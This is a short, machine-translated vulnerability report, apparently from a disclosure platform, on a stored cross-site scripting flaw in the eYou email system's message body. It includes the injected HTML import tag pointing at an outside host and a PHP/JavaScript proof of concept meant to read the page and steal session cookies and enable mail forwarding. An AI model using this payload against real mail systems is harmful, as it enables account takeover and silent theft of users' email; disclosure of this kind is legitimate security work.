EYou email system email body storage type XSS2 (with eYouXSS impact proof attached)

EYou email system email body storage type XSS2 (with eYouXSS impact proof attached)

New things affect Chrome.

During the XSS test, a serious HttpOnly COOKIE leakage was found, which allowed the email body-type XSS to obtain all the cookies of users for login. With POC

(There are some reports on the eyou mail body type XSS on wooyun. All the responses you give are "existing solutions" and "known problems. Thank you for the report ". However, I tested some college email systems and all of them were not repaired. I feel that you are teasing me .....)

Email, Burpsuite interception, content_html insert an HTML

<Link rel = "import" href = "http://www.129.cc/x.php">)
 

1. Enable the automatic mail forwarding address POC.

Http://www.129.cc/x.php 

Refresh the website to prove
 

 

2. Get HTTPOnly Cookie

Not to mention, you cannot understand how to write all cookies in the form after opening the email. Proof

Get EMPHPSID POC

http://www.129.cc/x.php<?php header("Access-Control-Allow-Origin: *"); ?><script>console.log(parent.document.getElementsByTagName('html')[0].innerHTML);</script>

 

 

Solution:

Although it only affects the Chrome browser, consider the trend of the browser user base and rel = import.